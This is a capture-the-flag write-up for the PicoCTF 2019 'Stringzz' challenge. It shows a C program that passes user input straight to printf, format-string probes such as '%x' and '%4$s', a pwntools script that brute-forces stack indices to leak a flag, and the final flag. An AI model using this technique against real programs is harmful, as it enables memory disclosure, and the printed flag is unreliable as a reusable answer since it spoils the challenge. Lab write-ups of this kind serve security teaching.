PicoCTF19 Stringzz

Challenge

Use a format string to pwn this program and get a flag. Its also found in /problems/stringzz_2 on the shell server. Source.

Hints

http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf

Solution

Let's view the directory

[email protected]:/problems/stringzz_2$ ls -al
total 92
drwxr-xr-x   2 root       root        4096 Sep 28 21:45 .
drwxr-x--x 684 root       root       69632 Oct 10 18:02 ..
-r--r-----   1 hacksports stringzz_2    31 Sep 28 21:45 flag.txt
-rwxr-sr-x   1 hacksports stringzz_2  7660 Sep 28 21:45 vuln
-rw-rw-r--   1 hacksports hacksports   789 Sep 28 21:45 vuln.c
[email protected]:/problems/stringzz_2$ cat vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAG_BUFFER 128
#define LINE_BUFFER_SIZE 2000

void printMessage3(char *in) {
  puts("will be printed:\n");
  printf(in);
}
void printMessage2(char *in) {
  puts("your input ");
  printMessage3(in);
}
void printMessage1(char *in) {
  puts("Now ");
  printMessage2(in);
}

int main (int argc, char **argv) {
    puts("input whatever string you want; then it will be printed back:\n");
    int read;
    unsigned int len;
    char *input = NULL;
    getline(&input, &len, stdin);
    //There is no win function, but the flag is wandering in the memory!
    char * buf = malloc(sizeof(char)*FLAG_BUFFER);
    FILE *f = fopen("flag.txt","r");
    fgets(buf,FLAG_BUFFER,f);
    printMessage1(input);
    fflush(stdout);
}

After reading the paper recommended from the hints, it looks like we'll be expoiting the printf() vulnerability. Let's determine if this program is vulnerable to the printf() vulnerability.

[email protected]:/problems/stringzz_2$ ./vuln
input whatever string you want; then it will be printed back:

%x %x %x %x %x
Now 
your input 
will be printed:

a f7d8a36b 565da6f9 f7ef8000 565dbfb4

It is vulnerable. Let's try printing 100 items off the stack and grep for the flag.

[email protected]:/problems/stringzz_2$  echo $(python -c "print('%x '*100)") | ./vuln
input whatever string you want; then it will be printed back:

Now 
your input 
will be printed:

a f7e1836b 565bf6f9 f7f86000 565c0fb4 ffe72f38 565bf755 56889600 565bf995 f7e1836b 565bf731 f7f86000 565c0fb4 ffe72f58 565bf78e 56889600 565bf993 f7e1681b 565bf76a f7f86000 565c0fb4 ffe72fa8 565bf84d 56889600 80 568897d0 565bf7ae f7f86000 f7f86000 0 ffe73054 f7f863fc 565c0fb4 ffe7305c 12e 56889600 56889740 568897d0 b6b68c00 ffe72fc0 0 0 f7dc9e81 f7f86000 f7f86000 0 f7dc9e81 1 ffe73054 ffe7305c ffe72fe4 1 ffe73054 f7f86000 f7fad75a ffe73050 0 f7f86000 0 0 53fd859e 249e838e 0 0 0 40 f7fc5024 0 0 f7fad869 565c0fb4 1 565bf5b0 0 565bf5e1 565bf797 1 ffe73054 565bf890 565bf8f0 f7fad9b0 ffe7304c f7fc5940 1 ffe747ca 0 ffe747d1 ffe74dbd ffe74df0 ffe74e12 ffe74e1f ffe74e33 ffe74e3f ffe74e79 ffe74e8b ffe74ead ffe74eee ffe74f01 ffe74f17 ffe74f2b 

Okay, whatever it is, we'll need to print it as a string. We can't simply use %s though. See below:

[email protected]:/problems/stringzz_2$ echo $(python -c "print('%s')") | ./vuln
input whatever string you want; then it will be printed back:

Now 
your input 
will be printed:

Segmentation fault (core dumped)

This works because %x prints values off the stack

The exploit we want to take advantage of is the Format String Direct Access explained in this paper.

%4$x - prints the 4th parameter on the stack in hex, so %4$s should print it in ASCII.

[email protected]:/problems/stringzz_2$ ./vuln
input whatever string you want; then it will be printed back:

%4$x   
Now 
your input 
will be printed:

f7fa8000
[email protected]:/problems/stringzz_2$ ./vuln
input whatever string you want; then it will be printed back:

%4$s
Now 
your input 
will be printed:

lM
[email protected]:/problems/stringzz_2$ python -c "print('%5$s')" | ./vuln

input whatever string you want; then it will be printed back:

Now 
your input 
will be printed:

%5

Doesn't seem to work, so let's brute force it:

#!/usr/bin/env python
from __future__ import print_function
from pwn import *

index = 1
while True:
    print("Attempting index: {}".format(index))
    p = process('./vuln', cwd='/problems/stringzz_2')
    p.recvuntil('input whatever string you want; then it will be printed back:')
    p.sendline("%{}$s".format(index))
    res = p.recvall()
    if "picoCTF" in res:
        print("Found flag: {}".format(res))
        break
    index=index+1

Amazingly, it returns with an answer.

Flag

picoCTF{str1nG_CH3353_166b95b4}